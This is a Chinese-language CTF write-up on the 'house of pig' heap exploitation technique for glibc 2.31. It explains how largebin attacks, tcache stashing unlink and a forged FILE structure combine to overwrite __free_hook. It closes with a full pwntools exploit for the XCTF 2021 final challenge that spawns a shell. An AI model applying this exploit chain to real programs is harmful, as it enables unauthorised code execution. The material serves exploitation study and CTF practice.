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house of pig一个新的堆利用详解

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0x01 简述：

本利用方式应用于xctf 2021 final同名题目，该攻击方式适用于 libc 2.31及以后的新版本 libc，本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用，来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法。主要适用于程序中仅有 calloc 函数来申请 chunk，而没有调用 malloc 函数的情况。（因为 calloc 函数会跳过 tcache，无法完成常规的 tcache attack 等利用，同时，因为程序中没有 malloc 函数也无法在正常的 tcache stashing unlink attack 之后，将放入 tcache 中的 fake chunk 给申请出来 ）。

该方法最为核心的地方在于，利用了 glibc 中 IO_str_overflow 函数内会连续调用 malloc 、memcpy、free 函数的特点，并且这三个函数的参数都可以由 FILE 结构内的数据来控制。

关于libc2.31 下的 largebin attack 的手法可以参考：largebin_attack，不过 libc2.29 之后的 libc 将原本的两条利用路径修补了一条，所以只有一条路径可以完成该攻击了。该攻击的最终效果是可以往任意地址写一个当前 largebin 堆块的堆地址。

关于libc2.31 下的 tcache stashing unlink attack 的细节详见：tcache_stashing_unlink_attack，该攻击的最终效果有两个，我们这里使用的是该攻击可以将任意目标 fake chunk 放入 tcache 链表头部的效果特性。

 

0x02 利用条件：

至少存在 UAF 漏洞。

 

0x03 利用思路：

1、先用 UAF 漏洞泄露 libc 地址 和 heap 地址。

2、再用 UAF 修改 largebin 内 chunk 的 fd_nextsize 和 bk_nextsize 位置，完成一次 largebin attack，将一个堆地址写到 __free_hook-0x8 的位置，使得满足之后的 tcache stashing unlink attack 需要目标 fake chunk 的 bk 位置内地址可写的条件。

3、先构造同一大小的 5个 tcache，继续用 UAF 修改该大小的 smallbin 内 chunk 的 fd 和 bk 位置，完成一次 tcache stashing unlink attack。由于前一步已经将一个可写的堆地址，写到了__free_hook-0x8，所以可以将 __free_hook-0x10 的位置当作一个 fake chunk，放入到 tcache 链表的头部。但是由于没有 malloc 函数，我们无法将他申请出来。

4、最后再用UAF 修改 largebin 内 chunk 的 fd_nextsize 和 bk_nextsize 位置，完成第二次 largebin attack，将一个堆地址写到 _IO_list_all 的位置，从而在程序退出前 flush 所有 IO 流的时候，将该堆地址当作一个 FILE 结构体，我们就能在该堆地址的位置来构造任意 FILE结构了。

5、在该堆地址构造 FILE 结构的时候，重点是将其 vtable 由 _IO_file_jumps 修改为 _IO_str_jumps，那么当原本应该调用 IO_file_overflow 的时候，就会转而调用如下的 IO_str_overflow。而该函数是以传入的 FILE 地址本身为参数的，同时其中会连续调用 malloc、memcpy、free 函数（如下图），且三个函数的参数又都可以被该 FILE 结构中的数据控制。那么适当的构造 FILE 结构中的数据，就可以实现利用 IO_str_overflow 函数中的 malloc 申请出那个已经被放入到 tcache 链表的头部的包含 __free_hook 的 fake chunk；紧接着可以将提前在堆上布置好的数据，通过 IO_str_overflow 函数中的memcpy 写入到刚刚申请出来的包含__free_hook的这个 chunk，从而能任意控制 __free_hook ，这里可以将其修改为 system函数地址；最后调用 IO_str_overflow 函数中的 free 时，就能够触发 __free_hook ，同时还能在提前布置堆上数据的时候，使其以字符串 “/bin/sh\x00” 开头，那么最终就会执行 system(“/bin/sh”)。


 

0x04 例题分析：

这里以 xctf final 的 house_of_pig 题目为例，题目是当时 2020年下半年的时候，就给 xctf final 出好了的，只不过没想到比赛拖到了 2021年 才办，所以题目使用的是当时最新的 libc2.31。由于一开始想考察的是 trick 本身，为了减少堆布局的复杂度，还在 add 的时候给了一个 01dwang gift ，结果由于条件限制的不严格，也导致了其他的非预期解法，没有给师傅们很好的比赛体验，深表歉意。不过比赛中获得 1 血的队伍 Nu1l 是正解，也算是这个 trick 没有浪费。

另外需要说明的是，星盟的ha1vk师傅用的 house of banana 也是一种优秀的解法，不过需要适当爆破 rtld_global_ptr 的位置，并且触发的条件需要满足如下两个之一：

  1. 程序显式调用 exit。
  2. 程序能通过主函数返回。

而 house of pig的触发条件就是调用 _IO_flush_all_lockp的条件，即需要满足如下三个之一：

  1. 当 libc 执行abort流程时。
  2. 程序显式调用 exit 。
  3. 程序能通过主函数返回。

相对来说触发的条件稍微宽松一点点。（感觉下次可以再出个题目，程序中不去显式调用 exit ，也不能通过主函数返回，只能去破坏堆结构导致 libc 的 abort，从而考察house of pig，2333）。

 

漏洞：

程序中有三个角色 Peppa、Daddy、Mummy，每个角色都有各自的堆块管理列表和各自的 Add、View、Edit、Delete 函数。Peppa的堆块是每隔0x30中的前 0x10个字节可以被写一次，Mummy的堆块是每隔0x30中的中间 0x10个字节可以被写一次，Daddy的堆块是每隔0x30中的后 0x10个字节可以被写一次。

正常来说，需要知道每个角色的密码，才能通过对应密码 md5 的比较判断，但是这里判断用的 strncmp，且其中有个 md5 值中的包含 ‘\x00’ ，所以实际上会提前截断，而以 ‘\x3c\x44\x00’ 开头的md5，对应的原值其实是有很多的，所以这里可以任意切换角色。

真正的核心漏洞是在每个角色的 Delete功能中，存在UAF漏洞。

每个角色被切换的时候会调用saved函数，下一次被切换回来的时候又会调用recover来恢复，由于在saved中没有保存 flag 标志位，所以切换回来一次之后，就能用这个UAF漏洞来任意读取或者写入堆块了，但是不能double free。

 

利用：

由于每个角色的 Add 功能都是用 calloc 来申请chunk 的，而 calloc 会跳过 tcache，所以无法使用 tcache attack；并且申请的chunk 至少要大于 0x90，所以也不能用 fastbin attack。

这里就需要利用我们的 house of pig。详见 exp

from pwn import *

context.log_level = 'debug'

io = process('./pig')
# io = remote('182.92.203.154', 35264)
elf = ELF('./pig')
libc = elf.libc

rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, '\x00'))
uu64 = lambda data        : u64(data.ljust(8, '\x00'))


def Menu(cmd):
    sla('Choice: ', str(cmd))

def Add(size, content):
    Menu(1)
    sla('size: ', str(size))
    sla('message: ', content)

def Show(idx):
    Menu(2)
    sla('index: ', str(idx))

def Edit(idx, content):
    Menu(3)
    sla('index: ', str(idx))
    sa('message: ', content)

def Del(idx):
    Menu(4)
    sla('index: ', str(idx))

def Change(user):
    Menu(5)
    if user == 1:
        sla('user:\n', 'A\x01\x95\xc9\x1c')
    elif user == 2:
        sla('user:\n', 'B\x01\x87\xc3\x19')
    elif user == 3:
        sla('user:\n', 'C\x01\xf7\x3c\x32')


#----- prepare tcache_stashing_unlink_attack
Change(2)
for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4

Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
    Del(1+x)
Del(0)

Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0

Change(1)
Add(0x180, 'A'*0x78) # A8
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
    Del(9+x)
Del(8)

Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0

#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16

Change(2)
Add(0xf0, 'B'*0x48) # B7

Change(1)
Del(16)

Change(2)
Add(0x440, 'B'*0x158) # B8

Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')

Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')


#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19

Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9

Change(1)
Del(17)

Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')

Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8

Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1

Change(1)
Del(19)

Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')

Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all

Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')

Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache

IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4
fake_IO_FILE += p64(heap_base+0x148b8)                #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)


Menu(5)
sla('user:\n', '')

irt()